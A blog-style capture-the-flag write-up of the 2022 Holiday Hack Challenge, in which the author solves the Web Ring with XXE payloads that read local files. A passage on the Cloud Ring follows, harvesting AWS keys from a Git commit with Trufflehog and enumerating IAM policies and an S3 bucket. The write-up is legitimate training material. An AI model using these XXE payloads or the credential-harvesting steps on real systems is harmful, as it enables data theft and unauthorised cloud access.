- The fountain: "Between Glamtariel and Kringle, many who have tried to find the PATH here uninvited have ended up very dis APP ointed. Please click away that ominous eye!"
- Glamtariel: "Careful with the fountain! I know what you were wondering about there. It's no cause for concern. The PATH here is closed!"
The igloo:
When dropped on Glamtariel:
- Glamtariel: "It's understandable to wonder about home when one is adventuring."
- The fountain: "I think I'd worry too much if I ever left this place."
When dropped on the fountain:
- The fountain: "What's this? Fake tickets to get in here? Snacks that don't taste right? How could that be?"
- Glamtariel: "The fountain shows many things, some more helpful than others. It can definitely be a poor guide for decisions sometimes."
The sailing ship:
When dropped on Glamtariel:
- Glamtariel: "These ice boat things would have been helpful back in the day. I still remember when Boregoth stole the Milsarils, very sad times."
- The fountain: "I'm glad I wasn't around for any of the early age scuffles. I shudder just thinking about the stories."
When dropped on the fountain:
- The fountain: "I pretty much stick to just one TYPE of language, it's a lot easier to share things that way."
- Glamtariel: "Did you know that I speak in many TYPE s of languages? For simplicity, I usually only communicate with this one though."
The star:
When dropped on Glamtariel or the fountain (same behavior):
- Glamtariel: "O Frostybreath Kelthonial, shiny stars grace the night from heavens on high!"
- The fountain: "Up and far many look away from glaciers cold, To Phenhelos they sing here in Kringle's realm!"
Here's what we get when we drop them:
The blue rings (same behavior for both):
When dropped on Glamtariel:
- Glamtariel: "I love these fancy blue rings! You can see I have two of them. Not magical or anything, just really pretty."
- The fountain: "If asked, Glamtariel definitely tries to insist that the blue ones are her favorites. I'm not so sure though."
When dropped on the fountain:
- The fountain: "Glamtariel can be pretty tight lipped about some things."
- Glamtariel: "I like to keep track of all my rings using a SIMPLE FORMAT, although I usually don't like to discuss such things."
The silver ring:
When dropped on Glamtariel:
- Glamtariel: "Wow!, what a beautiful silver ring! I don't have one of these. I keep a list of all my rings in my RINGLIST file. Wait a minute! Uh, promise me you won't tell anyone."
- The fountain: "I never heard Glamtariel mention a RINGLIST file before. If only there were a way to get a peek at that."
When dropped on the fountain:
- The fountain: "Glamtariel may not have one of these silver rings in her collection, but I've overheard her talk about how much she'd like one someday."
- Glamtariel: "You know what one of my favorite songs is? Silver rings, silver rings ...."
The red ring:
When dropped on Glamtariel:
- Glamtariel: "Ah, the fiery red ring! I'm definitely proud to have one of them in my collection."
- The fountain: "I think Glamtariel might like the red ring just as much as the blue ones, perhaps even a little more."
When dropped on the fountain:
- The fountain: "You know, I've heard Glamtariel talk in her sleep about rings using a different TYPE of language. She may be more responsive about them if you ask differently."
- Glamtariel: "Hmmm, you seem awfully interested in these rings. Are you looking for something? I know I've heard through the ice cracks that Kringle is missing a special one."
And that's it. After that, the messages loop and nothing changes.
Let's recap. You might have noticed that some words are in all caps. If you remember Hal Tandibuck's clue, these words have some importance. These words are:
TAMPER
: this actually means we should not tamper with the cookies (I spent several hours trying to but getting nowhere...)PATH
: this probably means that we're going to need to guess the path to... something?APP
: this word is used withPATH
, so maybeAPP
is a part of the path we must find?TYPE
: Glamtariel says she understands another type of language, more on that later.RINGLIST
: Glamtariel keeps a list of her rings in a file, this must be what we must find a path to.SIMPLE FORMAT
: this list of rings is kept in a simple format, most likely in a.txt
file.
We also learn that Glamtariel pretends her favorite rings are the blue ones, but would very much like to add a silver ring to her collection.
Now, let's take a look under the hood. What "language" are we using to talk to Glamtariel and her fountain? Here's the request we sent when we dropped the silver ring on Glamtariel:
POST /dropped HTTP/1.1 Host: glamtarielsfountain.com Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=99e85c94-c24e-4916-8214-996b143317b5.EN8o8Hzkc6bGjlB7yO10QNWkXwg User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/json Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/json X-Grinchum: ImI0NWVlYzE1MTMxMGU5MzRmZGI0NDlkNDQxNjQyMzA2ZjkzMTk3NDYi.Y7hu8g.S-ougqTjKWzwSN2US_Z9jmmBca8 Content-Length: 52 Origin: https://glamtarielsfountain.com Referer: https://glamtarielsfountain.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers {"imgDrop":"img1","who":"princess","reqType":"json"}
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Fri, 06 Jan 2023 19:01:50 GMT Content-Type: application/json Content-Length: 333 Set-Cookie: MiniLembanh=99e85c94-c24e-4916-8214-996b143317b5.EN8o8Hzkc6bGjlB7yO10QNWkXwg; Domain=glamtarielsfountain.com; Path=/ Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 { "appResp": "Wow!, what a beautiful silver ring! I don't have one of these. I keep a list of all my rings in my RINGLIST file. Wait a minute! Uh, promise me you won't tell anyone.^I never heard Glamtariel mention a RINGLIST file before. If only there were a way to get a peek at that.", "droppedOn": "none", "visit": "none" }
We're using JSON, but apparently Galamtriel supports another type of language.
It would be interesting if it was XML, because we could exploit an XXE
vulnerability against this JSON endpoint.
Let's convert our JSON to XML
and see if it works. We must also make sure to change the reqType
parameter from json
to xml
, as well as modifying the
Content-Type
header:
POST /dropped HTTP/1.1 Host: glamtarielsfountain.com Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=5187b7cc-eaa1-4945-8e16-794290a2dea9.jXW5lp2QZAQt5_9jSvnHEmvi4lI User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/json Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml X-Grinchum: ImQ3MTM1MWVhNjY2MjgyNzI4YmRjNGJjYWQ5M2MwNmU3MDZhZTJhZmIi.Y7h6Bw.AOMSA0YJKPm1PIU5Tql7hdYfqFk Content-Length: 132 Origin: https://glamtarielsfountain.com Referer: https://glamtarielsfountain.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers <?xml version="1.0" encoding="UTF-8" ?> <root> <imgDrop>img1</imgDrop> <who>princess</who> <reqType>xml</reqType> </root>
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Fri, 06 Jan 2023 19:45:07 GMT Content-Type: application/json Content-Length: 193 Set-Cookie: MiniLembanh=5187b7cc-eaa1-4945-8e16-794290a2dea9.jXW5lp2QZAQt5_9jSvnHEmvi4lI; Domain=glamtarielsfountain.com; Path=/ Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 { "appResp": "I love rings of all colors!^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.", "droppedOn": "none", "visit": "none" }
Well, it seems to work, great! Now maybe we can try to exploit an XXE. I first tried to really exploit the vulnerability to get an error with a verbose message, or even try a blind XXE (with domain name resolution, or HTTPS connect back to get a malicious DTD, that sort of thing). But the XXE is simulated inside the application.
Anyway, we want to leak the ring list file. By taking a look at the requests
made to the website, we see that the different images, including the ones
depicting rings, are stored in /static/images/
. But we need to find
the web root on the file system. Since we had the clue with the word
APP
, we can try /app
as a webroot. Finally, the file name.
Well, it's a ring list stored in a simple format, so let's try
ringlist.txt
.
Now, we search for a payload that would allow to read a local file:
POST /dropped HTTP/1.1 Host: glamtarielsfountain.com Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/xml Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE Content-Length: 221 Origin: https://glamtarielsfountain.com Referer: https://glamtarielsfountain.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [<!ENTITY example SYSTEM "file:///app/static/images/ringlist.txt"> ]> <root> <imgDrop>&example;</imgDrop> <who>princess</who> <reqType>xml</reqType> </root>
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Thu, 05 Jan 2023 13:00:33 GMT Content-Type: application/json Content-Length: 350 Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/ Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 { "appResp": "Ah, you found my ring list! Gold, red, blue - so many colors! Glad I don't keep any secrets in it any more! Please though, don't tell anyone about this.^She really does try to keep things safe. Best just to put it away. (click)", "droppedOn": "none", "visit": "static/images/pholder-morethantopsupersecret63842.png,262px,100px" }
We get an image to a secret folder:
The folder is labeled x_phial_pholder_2022
and contains two files:
redring.txt
and bluering.txt
. Let's take a look at the blue
ring file:
POST /dropped HTTP/1.1 Host: glamtarielsfountain.com Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/xml Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE Content-Length: 269 Origin: https://glamtarielsfountain.com Referer: https://glamtarielsfountain.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/bluering.txt"> ]> <root> <imgDrop>&example;</imgDrop> <who>princess</who> <reqType>xml</reqType> </root>
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Thu, 05 Jan 2023 13:39:56 GMT Content-Type: application/json Content-Length: 274 Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/ Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 { "appResp": "I love these fancy blue rings! You can see we have two of them. Not magical or anything, just really pretty.^She definitely tries to convince everyone that the blue ones are her favorites. I'm not so sure though.", "droppedOn": "none", "visit": "none" }
Hmm, nothing, let's see with the red ring:
POST /dropped HTTP/1.1 Host: glamtarielsfountain.com Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/xml Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE Content-Length: 268 Origin: https://glamtarielsfountain.com Referer: https://glamtarielsfountain.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/redring.txt"> ]> <root> <imgDrop>&example;</imgDrop> <who>princess</who> <reqType>xml</reqType> </root>
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Thu, 05 Jan 2023 13:39:40 GMT Content-Type: application/json Content-Length: 223 Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/ Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 { "appResp": "Hmmm, you still seem awfully interested in these rings. I can't blame you, they are pretty nice.^Oooooh, I can just tell she'd like to talk about them some more.", "droppedOn": "none", "visit": "none" }
Still nothing... What about the silver ring? Glamtariel does not have one, let's see what she has to say about it:
POST /dropped HTTP/1.1 Host: glamtarielsfountain.com Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/xml Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE Content-Length: 271 Origin: https://glamtarielsfountain.com Referer: https://glamtarielsfountain.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/silverring.txt"> ]> <root> <imgDrop>&example;</imgDrop> <who>princess</who> <reqType>xml</reqType> </root>
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Thu, 05 Jan 2023 13:40:12 GMT Content-Type: application/json Content-Length: 368 Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/ Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 { "appResp": "I'd so love to add that silver ring to my collection, but what's this? Someone has defiled my red ring! Click it out of the way please!.^Can't say that looks good. Someone has been up to no good. Probably that miserable Grinchum!", "droppedOn": "none", "visit": "static/images/x_phial_pholder_2022/redring-supersupersecret928164.png,267px,127px" }
We get a picture of the red ring but...
The inside of the red ring reads goldring_to_be_deleted.txt
. Let's ask
Glamtariel about this interesting file:
POST /dropped HTTP/1.1 Host: glamtarielsfountain.com Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/xml Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml X-Grinchum: Ijc0MzU2YzI1NTU1NmJhMjQ2Mzc4NjYzMWYwNTg1N2ViNmYyNmFkMWUi.Y7bJLw.CoFMFSmUXQ7Ke7ol0JnKxs88EbE Content-Length: 283 Origin: https://glamtarielsfountain.com Referer: https://glamtarielsfountain.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt"> ]> <root> <imgDrop>&example;</imgDrop> <who>princess</who> <reqType>xml</reqType> </root>
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Thu, 05 Jan 2023 13:40:26 GMT Content-Type: application/json Content-Length: 333 Set-Cookie: MiniLembanh=408dde46-71cf-440e-a273-f801f09c640c.-A_2od6HzDxSWK9x5SxwJURAsao; Domain=glamtarielsfountain.com; Path=/ Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 { "appResp": "Hmmm, and I thought you wanted me to take a look at that pretty silver ring, but instead, you've made a pretty bold REQuest. That's ok, but even if I knew anything about such things, I'd only use a secret TYPE of tongue to discuss them.^She's definitely hiding something.", "droppedOn": "none", "visit": "none" }
Hmm, two new capitalized words: REQ
and TYPE
. She's giving us
a clue about the reqType
parameter. Maybe we should try triggering the
XXE with the reqType
parameter. She's also asking for a silver ring in
exchange. If you remember, the silver ring was img1
. Let's send
img1
and trigger the XXE in reqType
:
POST /dropped HTTP/1.1 Host: glamtarielsfountain.com Cookie: GCLB="245893ca62dcb86d"; MiniLembanh=03a5bb54-8add-4ddd-be89-358a7c0190a8.9h2D9t5bC9rE7URTCfuM0bVr0qM User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: application/xml Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/xml X-Grinchum: IjdmNmM4M2VjZGEzZDc4YmFhYjA0YzU5YThkOGEwNDgxNDdlNTdmZTIi.Y7bXXw.jmgvyTtU6Y5LRouZtg0MMYAHdSo Content-Length: 260 Origin: https://glamtarielsfountain.com Referer: https://glamtarielsfountain.com/ Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE foo [ <!ENTITY example SYSTEM "file:///app/static/images/x_phial_pholder_2022/goldring_to_be_deleted.txt"> ]> <root> <imgDrop>img1</imgDrop> <who>princess</who> <reqType>&example;</reqType> </root>
HTTP/1.1 200 OK Server: Werkzeug/2.2.2 Python/3.10.8 Date: Thu, 05 Jan 2023 14:45:29 GMT Content-Type: application/json Content-Length: 593 Set-Cookie: MiniLembanh=03a5bb54-8add-4ddd-be89-358a7c0190a8.9h2D9t5bC9rE7URTCfuM0bVr0qM; Domain=glamtarielsfountain.com; Path=/ Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 { "appResp": "No, really I couldn't. Really? I can have the beautiful silver ring? I shouldn't, but if you insist, I accept! In return, behold, one of Kringle's golden rings! Grinchum dropped this one nearby. Makes one wonder how 'precious' it really was to him. Though I haven't touched it myself, I've been keeping it safe until someone trustworthy such as yourself came along. Congratulations!^Wow, I have never seen that before! She must really trust you!", "droppedOn": "none", "visit": "static/images/x_phial_pholder_2022/goldring-morethansupertopsecret76394734.png,200px,290px" }
We finally get our golden ring, with file name
goldring-morethansupertopsecret76394734.png
:
Phew, that's done! I want to thank the people in the HHC Discord server for their help, especially MichelleB, elakamarcus, and DP. They were able to nudge me in the right directions and confirm my theories without spoiling anything. Team work makes the dream work.
Akbowl says
No! That's not yours!
This birdbath showed me images of this happening.
But I didn't believe it because nobody is better than Akbowl!
Akbowl's head is the hardest! That's what the other sporcs tell me.
I guess Akbowl's head is not the smartest.
Don't be mad, Akbowl, but we get the third ring: the Web Ring:
Right next to the fountain, Grinchum is fuming:
Grinchum says
😏 First lost... second lost... third lost. 😟
Where are they? 😦 WHERE ARE THEY, preciouses?
No! Aaargh! Lost!
😖 You - naggy human. Musn't bother us. 😱 Not its business! grinchum..grinchum
Recover the Cloud Ring
Down and down we go, where we meet our first two Sporcs!
Brozeek says
Cro! Slicmer got me on the BSRS pre-sale!
Now all we gotta do is swap outfits, then you can go back in there as me.
Tell Slicmer you lost your wallet key, so you made a new wallet and need to add it to the list.
Then give him your wallet address, and we'll both be able to buy an NFT!
Social engineering at its finest, Cro.
Crozag says
Bro, you usually have good ideas, but this one is really terrible.
Manipulating friends with social engineering isn't cool, Bro.
Let's do it!
Looks like there's a cryptocoin pre-sale going on and these two Sporcs want in on it. Let's put a pin on it for now and go on.
AWS CLI Intro
We enter the Cloud Ring room, and find Jill Underpole:
Jill Underpole says
Umm, can I help you?
Me? I'm Jill Underpole, thank you very much.
I'm working on this here smoke terminal.
Cloud? Sure, whatever you want to call it.
Anyway, you're welcome to try this out, if you think you know what you're doing.
You'll have to learn some basics about the AWS command line interface (CLI) to be successful though.
Let's connect to the terminal and answer the questions:
You may not know this, but AWS CLI help messages are very easy to access. First, try typing: $ aws help
elf@4c2c76400f83:~$ aws help
Great! When you're done, you can quit with q. Next, please configure the default aws cli credentials with the access key AKQAAYRKO7A5Q5XUY2IY, the secret key qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf and the region us-east-1 . https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-quickstart.html#cli-configure-quickstart-config
elf@4c2c76400f83:~$ aws configure AWS Access Key ID [None]: AKQAAYRKO7A5Q5XUY2IY AWS Secret Access Key [None]: qzTscgNdcdwIo/soPKPoJn9sBrl5eMQQL19iO5uf Default region name [None]: us-east-1 Default output format [None]:
Excellent! To finish, please get your caller identity using the AWS command line. For more details please reference: $ aws sts help or reference: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/index.html
elf@4c2c76400f83:~$ aws sts get-caller-identity { "UserId": "AKQAAYRKO7A5Q5XUY2IY", "Account": "602143214321", "Arn": "arn:aws:iam::602143214321:user/elf_helpdesk" }
Great, you did it all!
Having answered all the questions, we talk to Jill:
Jill Underpole says
Wait, you got it done, didn't you?
Ok, consider me impressed. You could probably help Gerty, too.
The first trick'll be running the Trufflehog tool.
It's as good at sniffing out secrets as I am at finding mushrooms!
After that, it's just a matter of getting to the secret the tool found.
I'd bet a basket of portobellos you'll get this done!
Trufflehog Search
Gerty Snowburrow says
Well now, look who's venturing down into the caves!
And well, who might you be, exactly?
I'm Gerty Snowburrow, if you need to know.
And, not that I should be telling you, but I'm trying to figure out what Alabaster Snowball's done this time.
Word is, he committed some secrets to a code repo.
If you're feeling so inclined, you can try and find them for me
The name of the objective is clearly an indication to use Trufflehog, a tool to find common secrets in several locations (S3 buckets, Git repositories or commits, etc.).
Let's run trufflehog git
on the Git URL Gerty gives us:
$ ~/tools/trufflehog/trufflehog git https://haugfactory.com/orcadmin/aws_scripts 🐷🔑🐷 TruffleHog. Unearth your secrets. 🐷🔑🐷 Found unverified result 🐷🔑❓ Detector Type: AWS Decoder Type: PLAIN Raw result: AKIAAIDAYRANYAHGQOHD Commit: 106d33e1ffd53eea753c1365eafc6588398279b5 File: put_policy.py Email: asnowball <alabaster@northpolechristmastown.local> Repository: https://haugfactory.com/orcadmin/aws_scripts Timestamp: 2022-09-07 07:53:12 -0700 -0700 Line: 6 Found unverified result 🐷🔑❓ Detector Type: Gitlab Decoder Type: PLAIN Raw result: add-a-file-using-the- Repository: https://haugfactory.com/orcadmin/aws_scripts Timestamp: 2022-09-06 19:54:48 +0000 +0000 Line: 14 Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85 File: README.md Email: alabaster snowball <alabaster@northpolechristmastown.local> Found unverified result 🐷🔑❓ Detector Type: Gitlab Decoder Type: BASE64 Raw result: add-a-file-using-the- Email: alabaster snowball <alabaster@northpolechristmastown.local> Repository: https://haugfactory.com/orcadmin/aws_scripts Timestamp: 2022-09-06 19:54:48 +0000 +0000 Line: 14 Commit: 2c77c1e0a98715e32a277859864e8f5918aacc85 File: README.md
Looks like Alabaster commited an AWS secret to the put_policy.py
file.
Gerty Snowburrow says
Say, you got it done, didn't you?
Well now, you might just be able to tackle the other AWS terminal down here.
It's a bit more involved, but you've got the credentials to get it started now.
Before you try it, you should know the difference between managed and inline policies.
Short version: inline policies apply to one identity (user, role, group), and managed policies can be attached to many identities.
There are different AWS CLI commands to interact with each kind.
Other than that, the important bit is to know a bit about cloud or IAM privilege escalation.
Sometimes attackers find access to more resources by just trying things until something works.
But if they have access to the iam service inside the AWS CLI, they might just be able to ask what access they have!
You can do it!
Exploitation via AWS CLI
Sulfrod says
Hey! You - come here!
You look like someone who knows how to do this nerd stuff.
I need my terminal to be stronger, like me!
flexes
You're gonna do that for me so I can bust into this cloud machine thing.
Let's try to get the ring before she can. To complete this challenge, we must enter a series of AWS functions. The questions always point to the AWS documentation. It should be easy to find the proper function.
Use Trufflehog to find credentials in the Gitlab instance at https://haugfactory.com/asnowball/aws_scripts.git. Configure these credentials for us-east-1 and then run: $ aws sts get-caller-identity
We ran Trufflehog in the last objective. It gave us the commit and the file containing the AWS secret. Let's clone the repository and check it out:
(Note: the URL is different because the one given by Gerty gives an HTTP redirection. Also, sorry for ze French output, my computer is configured in French.)
$ git clone https://haugfactory.com/orcadmin/aws_scripts Clonage dans 'aws_scripts'... warning: redirection vers https://haugfactory.com/orcadmin/aws_scripts.git/ remote: Enumerating objects: 64, done. remote: Total 64 (delta 0), reused 0 (delta 0), pack-reused 64 Dépaquetage des objets: 100% (64/64), 23.83 Kio | 739.00 Kio/s, fait. $ cd aws_scripts $ git checkout 106d33e1ffd53eea753c1365eafc6588398279b5 Note : basculement sur '106d33e1ffd53eea753c1365eafc6588398279b5'. Vous êtes dans l'état « HEAD détachée ». Vous pouvez visiter, faire des modifications expérimentales et les valider. Il vous suffit de faire un autre basculement pour abandonner les commits que vous faites dans cet état sans impacter les autres branches Si vous voulez créer une nouvelle branche pour conserver les commits que vous créez, il vous suffit d'utiliser l'option -c de la commande switch comme ceci : git switch -c <nom-de-la-nouvelle-branche> Ou annuler cette opération avec : git switch - Désactivez ce conseil en renseignant la variable de configuration advice.detachedHead à false HEAD est maintenant sur 106d33e added $ grep aws_ put_policy.py aws_access_key_id="AKIAAIDAYRANYAHGQOHD", aws_secret_access_key="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",
We now have the secret access key and the key ID, we can configure it in our AWS CLI:
elf@80c2de61d99b:~$ aws configure AWS Access Key ID [None]: AKIAAIDAYRANYAHGQOHD AWS Secret Access Key [None]: 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 Default region name [None]: us-east-1 Default output format [None]: elf@80c2de61d99b:~$ aws sts get-caller-identity { "UserId": "AIDAJNIAAQYHIAAHDDRA", "Account": "602123424321", "Arn": "arn:aws:iam::602123424321:user/haug" }
Managed (think: shared) policies can be attached to multiple users. Use the AWS CLI to find any policies attached to your user. The aws iam command to list attached user policies can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html Hint: it is NOT list-user-policies.
We know from our previous command that our username is haug
.
elf@80c2de61d99b:~$ aws iam list-attached-user-policies --user-name haug { "AttachedPolicies": [ { "PolicyName": "TIER1_READONLY_POLICY", "PolicyArn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" } ], "IsTruncated": false } elf@80c2de61d99b:~$ aws iam get-policy --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY { "Policy": { "PolicyName": "TIER1_READONLY_POLICY", "PolicyId": "ANPAYYOROBUERT7TGKUHA", "Arn": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY", "Path": "/", "DefaultVersionId": "v1", "AttachmentCount": 11, "PermissionsBoundaryUsageCount": 0, "IsAttachable": true, "Description": "Policy for tier 1 accounts to have limited read only access to certain resources in IAM, S3, and LAMBDA.", "CreateDate": "2022-06-21 22:02:30+00:00", "UpdateDate": "2022-06-21 22:10:29+00:00", "Tags": [] } }
Attached policies can have multiple versions. View the default version of this policy. The aws iam command to get a policy version can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
We know from our previous command that the default version is v1
.
elf@80c2de61d99b:~$ aws iam get-policy-version --policy-arn arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY --version-id v1 { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "lambda:ListFunctions", "lambda:GetFunctionUrlConfig" ], "Resource": "*" }, { "Effect": "Allow", "Action": [ "iam:GetUserPolicy", "iam:ListUserPolicies", "iam:ListAttachedUserPolicies" ], "Resource": "arn:aws:iam::602123424321:user/${aws:username}" }, { "Effect": "Allow", "Action": [ "iam:GetPolicy", "iam:GetPolicyVersion" ], "Resource": "arn:aws:iam::602123424321:policy/TIER1_READONLY_POLICY" }, { "Effect": "Deny", "Principal": "*", "Action": [ "s3:GetObject", "lambda:Invoke*" ], "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": false, "CreateDate": "2022-06-21 22:02:30+00:00" } }
Inline policies are policies that are unique to a particular identity or resource. Use the AWS CLI to list the inline policies associated with your user. The aws iam command to list user policies can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html Hint: it is NOT list-attached-user-policies.
elf@80c2de61d99b:~$ aws iam list-user-policies --user-name haug { "PolicyNames": [ "S3Perms" ], "IsTruncated": false }
Now, use the AWS CLI to get the only inline policy for your user. The aws iam command to get a user policy can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/iam/index.html
elf@80c2de61d99b:~$ aws iam get-user-policy --user-name haug --policy-name S3Perms { "UserPolicy": { "UserName": "haug", "PolicyName": "S3Perms", "PolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Effect": "Allow", "Action": [ "s3:ListObjects" ], "Resource": [ "arn:aws:s3:::smogmachines3", "arn:aws:s3:::smogmachines3/*" ] } ] } }, "IsTruncated": false }
The inline user policy named S3Perms disclosed the name of an S3 bucket that you have permissions to list objects. List those objects! The aws s3api command to list objects in an s3 bucket can be found here: https://awscli.amazonaws.com/v2/documentation/api/latest/reference/s3api/index.html
We know from our previous command that the S3 bucket is named
smogmachines3
.
